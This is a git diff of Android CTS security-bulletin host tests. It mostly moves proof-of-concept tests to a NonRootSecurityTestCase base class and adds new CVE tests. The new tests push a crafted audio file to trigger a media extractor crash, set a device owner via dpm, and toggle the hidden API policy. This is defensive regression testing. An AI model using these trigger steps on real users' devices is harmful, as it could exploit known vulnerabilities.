-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20138 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20138 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2022-20138.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20138";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 41a727f..5b1d38c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -22,15 +22,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20147 extends SecurityTestCase {
+public class CVE_2022_20147 extends NonRootSecurityTestCase {
/**
* b/221216105
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
new file mode 100644
index 0000000..3d31cee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20197 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
+
+ @AsbSecurityTest(cveBugId = 208279300)
+ @Test
+ public void testPocCVE_2022_20197() {
+ ITestDevice device = null;
+ boolean isPolicyPresent = true;
+ boolean isHiddenApiEnabled = true;
+ String status = "";
+ try {
+ device = getDevice();
+ installPackage("CVE-2022-20197.apk");
+
+ status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+ if (status.toLowerCase().contains("null")) {
+ isPolicyPresent = false;
+ } else if (!status.toLowerCase().contains("1")) {
+ isHiddenApiEnabled = false;
+ }
+ if (!isPolicyPresent || !isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+ }
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (!isPolicyPresent) {
+ AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
+ } else if (!isHiddenApiEnabled) {
+ AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
+ device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
index f593f20..18d4cdd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20223 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 223578534)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
index 1886a4a..59e7631 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20230 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20230 extends NonRootSecurityTestCase {
public static final int USER_ID = 0;
static final String TEST_APP = "CVE-2022-20230.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20230";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
index de245bb..8087e69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20347 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 228450811)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
new file mode 100644
index 0000000..df33a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20348 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2022_20348";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
+
+ @AsbSecurityTest(cveBugId = 228315529)
+ @Test
+ public void testPocCVE_2022_20348() throws Exception {
+ try {
+ ITestDevice device = getDevice();
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ /* Install the test application */
+ installPackage("CVE-2022-20348.apk");
+
+ /* Set Device Admin Component */
+ AdbUtils.runCommandLine(
+ "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+ device);
+
+ /* Run the test "testWifiScanningDisallowed" */
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testWifiScanningDisallowed");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
index c4f5225..f8dcc48 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20349 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
new file mode 100644
index 0000000..12bb187
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20353 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 221041256)
+ @Test
+ public void testPocCVE_2022_20353() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2022_20353";
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // to generate NOTICE.html if not already present
+ AdbUtils.runCommandLine("am start -a android.settings.LICENSE", device);
+
+ installPackage("CVE-2022-20353.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testDefaultRingtonePreference");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
new file mode 100644
index 0000000..a0200f1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_22082 extends NonRootSecurityTestCase {
+
+ /**
+ * CVE-2022-22082
+ */
+ @AsbSecurityTest(cveBugId = 223211217)
+ @Test
+ public void testPocCVE_2022_22082() throws Exception {
+ /*
+ * Non StageFright test.
+ */
+ safeReboot();
+ AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t audio/dsf -d"
+ + " file:///sdcard/cve_2022_22082.dsf",
+ getDevice());
+ Thread.sleep(10000);
+ AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
deleted file mode 100644
index 1d57cb6..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.ddmlib.Log;
-
-import com.google.common.collect.ImmutableSet;
-
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class HostsideMainlineModuleDetector {
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- private SecurityTestCase context;
-
- private static ImmutableSet<String> playManagedModules;
-
- HostsideMainlineModuleDetector(SecurityTestCase context) {
- this.context = context;
- }
-
- synchronized Set<String> getPlayManagedModules() throws Exception {
- if (playManagedModules == null) {
- AdbUtils.runCommandLine("logcat -c", context.getDevice());
- String output = AdbUtils.runCommandLine(
- "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "am output: " + output);
- Thread.sleep(5 * 1000L);
- String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "Found logcat output: " + logcat);
- Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
- if (matcher.find()) {
- playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
- } else {
- playManagedModules = ImmutableSet.of();
- }
- }
- return playManagedModules;
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 367c766..2a0a572 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -15,15 +15,18 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_04 extends SecurityTestCase {
+public class Poc16_04 extends NonRootSecurityTestCase {
/**
* b/26323455
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index f185352..a837d5b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_05 extends SecurityTestCase {
+public class Poc16_05 extends NonRootSecurityTestCase {
/**
* b/27555981
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 6f7d26b..d4519ba 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_06 extends SecurityTestCase {
+public class Poc16_06 extends NonRootSecurityTestCase {
/**
* b/27661749
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index d598252..ae91d11 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_07 extends SecurityTestCase {
+public class Poc16_07 extends NonRootSecurityTestCase {
/**
* b/28740702
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index e3f9906..69821c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_09 extends SecurityTestCase {
+public class Poc16_09 extends NonRootSecurityTestCase {
/**
* b/27773913
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index c19333a..beec744 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_10 extends NonRootSecurityTestCase {
/**
* b/30204103
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 5012920..e1334b5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_11 extends SecurityTestCase {
+public class Poc16_11 extends NonRootSecurityTestCase {
/**
* b/29149404
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 392b11a..9657064 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_12 extends SecurityTestCase {
+public class Poc16_12 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 0773716..71e6998 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_01 extends SecurityTestCase {
+public class Poc17_01 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 1fd4bf9..cd3dab0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_02 extends SecurityTestCase {
+public class Poc17_02 extends NonRootSecurityTestCase {
/**
* b/32799236
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 50093b8..fba7146 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -16,17 +16,20 @@
package android.security.cts;
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Callable;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_03 extends SecurityTestCase {
+public class Poc17_03 extends NonRootSecurityTestCase {
/**
* b/31824853
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 36f921c..478398b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_04 extends SecurityTestCase {
+public class Poc17_04 extends NonRootSecurityTestCase {
/**
* b/32342065
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index fcedfb9..11a3123 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -16,18 +16,18 @@
package android.security.cts;
-import java.util.Arrays;
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_05 extends SecurityTestCase {
+public class Poc17_05 extends NonRootSecurityTestCase {
/*
* CVE-2016-5862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index a3609a24..9afeb9b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
